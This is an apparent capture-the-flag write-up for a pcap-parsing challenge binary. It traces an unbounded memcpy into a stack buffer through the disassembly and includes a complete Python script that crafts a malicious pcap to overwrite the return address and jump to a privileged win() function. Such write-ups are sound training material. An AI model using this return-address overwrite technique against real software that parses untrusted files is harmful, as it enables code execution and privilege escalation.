Overview
pcaptrap reads a .pcap, groups packets into bidirectional TCP streams, and prints a hex dump of each direction.
The intended behavior is:
- Reassemble a direction from TCP segments.
- Copy data into a stack buffer for display.
- Print metadata and a hex dump.
The vulnerability is in a special-case fast path for a direction with exactly one segment. That path performs an unbounded memcpy into a stack buffer.
Environment and Ground Truth
Disassembly facts used in the exploit:
- the vulnerable stack buffer is zeroed with
memset(..., 0x10000, ...), so its size is0x10000(65536) bytes - in the single-segment path, the program calls
memcpyinto that stack buffer with a length taken directly from the captured segment, with no upper bound - the
win()function is at0x401c60and is reached by hijacking the overwritten return address
Program Flow
At a high level:
mainopens the input pcap and callsprocess_pcap.process_pcapparses Ethernet/IPv4/TCP packets and stores payload segments by stream and direction.- For each stream,
process_one_streamcallsprocess_one_directiontwice (one for each direction). process_one_directionreconstructs data and dumps it.
The bug sits in step 4.
Vulnerability Analysis
The vulnerable logic is inside the function at 0x4013c0:
process_one_direction.isra.0is called fromprocess_pcapfor each TCP direction.- this function has a special fast path for directions that contain exactly one TCP segment.
The relevant single-segment fast path is shown below. The key point is the memcpy at 0x401715: it copies rdx bytes into a stack buffer at [rsp+0x50]. In this path, rdx is loaded from r12 and is not capped to 0x10000.
Disassembly: fast path entry and vulnerable memcpy
00000000004013c0 <process_one_direction.isra.0>:
4013c0: 41 57 push r15
4013c2: 4d 89 c7 mov r15,r8
4013c5: 41 56 push r14
4013c7: 41 55 push r13
4013c9: 49 89 fd mov r13,rdi
4013cc: 41 54 push r12
4013ce: 55 push rbp
4013cf: 48 63 ee movsxd rbp,esi
4013d2: 31 f6 xor esi,esi
4013d4: 53 push rbx
4013d5: 48 81 ec 58 00 01 00 sub rsp,0x10058
4013dc: 48 8b 84 24 90 00 01 mov rax,QWORD PTR [rsp+0x10090]
4013e4: 48 89 54 24 10 mov QWORD PTR [rsp+0x10],rdx
4013e9: 48 8d 7c 24 50 lea rdi,[rsp+0x50]
4013ee: ba 00 00 01 00 mov edx,0x10000
4013f3: 89 4c 24 18 mov DWORD PTR [rsp+0x18],ecx
4013f7: 44 89 4c 24 1c mov DWORD PTR [rsp+0x1c],r9d
4013fc: 48 89 44 24 08 mov QWORD PTR [rsp+0x8],rax
401401: e8 9a fc ff ff call 4010a0 <memset@plt>
401406: 85 ed test ebp,ebp
401408: 74 26 je 401430 <process_one_direction.isra.0+0x70>
40140a: 83 fd 01 cmp ebp,0x1
40140d: 75 39 jne 401448 <process_one_direction.isra.0+0x88>
40140f: 4d 8b 65 10 mov r12,QWORD PTR [r13+0x10]
401413: 49 8b 6d 08 mov rbp,QWORD PTR [r13+0x8]
401417: 4d 85 e4 test r12,r12
40141a: 0f 85 e5 02 00 00 jne 401705 <process_one_direction.isra.0+0x345>
401705: 4c 89 e2 mov rdx,r12
401708: 48 89 ee mov rsi,rbp
40170b: 48 8d 7c 24 50 lea rdi,[rsp+0x50]
401710: bb 00 00 01 00 mov ebx,0x10000
401715: e8 e6 f9 ff ff call 401100 <memcpy@plt>
40171a: 48 89 ef mov rdi,rbp
40171d: e8 0e f9 ff ff call 401030 <free@plt>
401722: 49 39 dc cmp r12,rbx
401725: 49 c7 45 08 00 00 00 mov QWORD PTR [r13+0x8],0x0
40172c: 00
40172d: 49 0f 46 dc cmovbe rbx,r12
401731: e9 9c fe ff ff jmp 4015d2 <process_one_direction.isra.0+0x212>
The function eventually reaches the normal epilogue that executes ret:
401430: 48 81 c4 58 00 01 00 add rsp,0x10058
401437: 5b pop rbx
401438: 5d pop rbp
401439: 41 5c pop r12
40143b: 41 5d pop r13
40143d: 41 5e pop r14
40143f: 41 5f pop r15
401441: c3 ret
Disassembly: call path into the vulnerable function
process_pcap calls process_one_direction.isra.0 twice, once per direction. The call instructions are at:
401b04: e8 b7 f8 ff ff call 4013c0 <process_one_direction.isra.0>
401b32: e8 89 f8 ff ff call 4013c0 <process_one_direction.isra.0>
The registers are set up so that process_one_direction.isra.0 receives, among other arguments, a pointer to the collected segment metadata. Inside process_one_direction.isra.0, the n_seg == 1 fast path reaches the vulnerable memcpy at 0x401715.
Disassembly: win() function
win() sets real/effective/saved uid and gid to 0, then reads /home/meta/flag.txt and writes its contents to stdout.
0000000000401c60 <win>:
401c60: 53 push rbx
401c61: 31 d2 xor edx,edx
401c63: 31 f6 xor esi,esi
401c65: 31 ff xor edi,edi
401c67: 48 81 ec 00 02 00 00 sub rsp,0x200
401c6e: e8 0d f4 ff ff call 401080 <setresgid@plt>
401c73: 31 f6 xor esi,esi
401c75: 31 d2 xor edx,edx
401c77: 31 ff xor edi,edi
401c79: e8 f2 f3 ff ff call 401070 <setresuid@plt>
401c7e: 48 8b 3d 9b 23 00 00 mov rdi,QWORD PTR [rip+0x239b] # 404020 <stdout@GLIBC_2.2.5>
401c85: e8 96 f4 ff ff call 401120 <fflush@plt>
401c8a: 48 8b 3d af 23 00 00 mov rdi,QWORD PTR [rip+0x23af] # 404040 <stderr@GLIBC_2.2.5>
401c91: e8 8a f4 ff ff call 401120 <fflush@plt>
401c96: 31 f6 xor esi,esi
401c98: 31 c0 xor eax,eax
401c9a: bf d7 21 40 00 mov edi,0x4021d7
401c9f: e8 ac f4 ff ff call 401150 <open@plt>
401ca4: 85 c0 test eax,eax
401ca6: 0f 88 f4 f4 ff ff js 4011a0 <win.cold>
401cac: 89 c3 mov ebx,eax
401cae: eb 19 jmp 401cc9 <win+0x69>
401cb0: 48 89 c2 mov rdx,rax
401cb3: 48 89 e6 mov rsi,rsp
401cb6: bf 01 00 00 00 mov edi,0x1
401cbb: e8 a0 f3 ff ff call 401060 <write@plt>
401cc0: 48 85 c0 test rax,rax
401cc3: 0f 88 fa f4 ff ff js 4011c3 <win.cold+0x23>
401cc9: ba 00 02 00 00 mov edx,0x200
401cce: 48 89 e6 mov rsi,rsp
401cd1: 89 df mov edi,ebx
401cd3: e8 e8 f3 ff ff call 4010c0 <read@plt>
401cd8: 48 85 c0 test rax,rax
401cdb: 7f d3 jg 401cb0 <win+0x50>
401cdd: 0f 85 d1 f4 ff ff jne 4011b4 <win.cold+0x14>
401ce3: 89 df mov edi,ebx
401ce5: e8 c6 f3 ff ff call 4010b0 <close@plt>
401cea: 31 ff xor edi,edi
401cec: e8 7f f4 ff ff call 401170 <exit@plt>
Why this smashes the return address
The stack buffer starts at [rsp+0x50], and the function’s ret reads the saved return address from higher up on the stack after:
add rsp,0x10058pop rbx,pop rbp,pop r12,pop r13,pop r14,pop r15
That means the distance from the start of the stack buffer to the saved return address is 0x10038 bytes.
So if the TCP payload length (the rdx value passed to memcpy) is at least 0x10038 + 8, the memcpy will overwrite the saved RIP. By controlling the next 8 bytes, you control where execution returns.
Exploit Strategy
Goal: overwrite saved return address in process_one_direction.isra.0 and return to win().
Because we can choose TCP payload length, we can make one huge segment in one direction and hit the fast path (n_seg == 1).
The exploit payload layout used by writeup/exploit.py is:
A * pad_lenretgadget (0x40101a) for stack alignmentwinaddress (0x401c60)
Where:
pad_len = 0x10038 = 65592- This matches the stack-frame distance to saved RIP for this build
So total payload length is:
65592 + 8 + 8 = 65608bytes
That size is accepted by the parser because:
- pcap record limit is 131072
- payload is below that ceiling
The parser groups payloads by TCP 4-tuple and direction.
If we supply exactly one TCP packet with payload in one direction, that direction gets n_seg == 1, which forces the vulnerable fast path.
Building the Malicious PCAP
exploit.py builds a valid pcap from scratch:
- Writes a standard 24-byte global pcap header.
- Writes one packet record header with
incl_len == orig_len == len(packet). - Packet bytes are:
- Ethernet header (14 bytes, ethertype
0x0800) - IPv4 header (20 bytes)
- TCP header (20 bytes)
- malicious payload (
A...A + ret + win)
- Ethernet header (14 bytes, ethertype
Because packet parsing in pcaptrap uses the captured packet length and header offsets, checksums are not required for this exploit.
End-to-End Execution
pcaptrapreads the crafted packet.- It stores one segment for that direction.
process_one_direction.isra.0enters then_seg == 1branch.memcpycopies 65608 bytes into a 65536-byte stack buffer.- Saved return address is overwritten with
ret; win. - On function return, control transfers to
win. wincallssetresuid/setresgid, opens/home/meta/flag.txt, and writes it to stdout.
Local note:
- In a local dev run outside the container, you may see
open flag: No such file or directorybecausewinuses/home/meta/flag.txt. - That still proves control-flow hijack reached
win.
exploit.py
#!/usr/bin/env python3
"""
Minimal exploit generator for PcapTrap.
It writes `exploit.pcap` in this directory, using hardcoded values that match
the provided challenge binary build.
"""
import struct
from pathlib import Path
STREAM_BUF_SIZE = 1 << 16 # 0x10000
PAD_TO_RIP = STREAM_BUF_SIZE + 56 # 0x10038 for this build
RET_GADGET = 0x40101A # stack alignment gadget; execute then return to `win`
WIN_ADDR = 0x401C60
def pcap_global_header() -> bytes:
# pcap global header (little-endian), version 2.4, DLT_EN10MB, snaplen large enough.
return struct.pack(
"<IHHIIII",
0xA1B2C3D4, # magic
2,
4, # version 2.4
0,
0, # tz, sigfigs
262144, # snaplen
1, # DLT_EN10MB
)
def pcap_packet_record(packet_bytes: bytes) -> bytes:
# Packet record header: ts_sec, ts_usec, incl_len, orig_len, then packet.
n = len(packet_bytes)
return struct.pack("<IIII", 0, 0, n, n) + packet_bytes
def make_eth_ip_tcp_packet(seq_num: int, payload: bytes) -> bytes:
# Ethernet header: 12 bytes of MAC (zeros) + type 0x0800 (IPv4)
eth = bytes(12) + struct.pack(">H", 0x0800)
# IPv4 header (no options). total_len is not relied on by the parser.
ip_hdr_len = 20
tcp_hdr_len = 20
ip_total_len = min(65535, ip_hdr_len + tcp_hdr_len + len(payload))
ip = (
struct.pack(">BBH", 0x45, 0, ip_total_len) # ver/IHL, TOS, total_len
+ struct.pack(">HHB", 0, 0, 64) # id, frag+flags, TTL
+ struct.pack(">B", 6) # protocol TCP
+ struct.pack(">H", 0) # checksum (ignored)
+ bytes(4) # src 0.0.0.0
+ bytes(4) # dst 0.0.0.0
)
# TCP header (no options). seq is big-endian.
tcp = (
struct.pack(">HH", 12345, 80) # sport, dport
+ struct.pack(">I", seq_num) # seq
+ struct.pack(">I", 0) # ack
+ struct.pack(">BBH", 0x50, 0x18, 0x1000) # doff, flags, window
+ struct.pack(">HH", 0, 0) # checksum, urg ptr
)
return eth + ip + tcp + payload
def build_exploit_pcap() -> bytes:
payload = b"A" * PAD_TO_RIP + struct.pack("<Q", RET_GADGET) + struct.pack(
"<Q", WIN_ADDR
)
pkt = make_eth_ip_tcp_packet(0, payload)
return pcap_global_header() + pcap_packet_record(pkt)
def main() -> None:
out_path = Path(__file__).resolve().parent / "exploit.pcap"
out_path.write_bytes(build_exploit_pcap())
print(f"Wrote {out_path}")
if __name__ == "__main__":
main()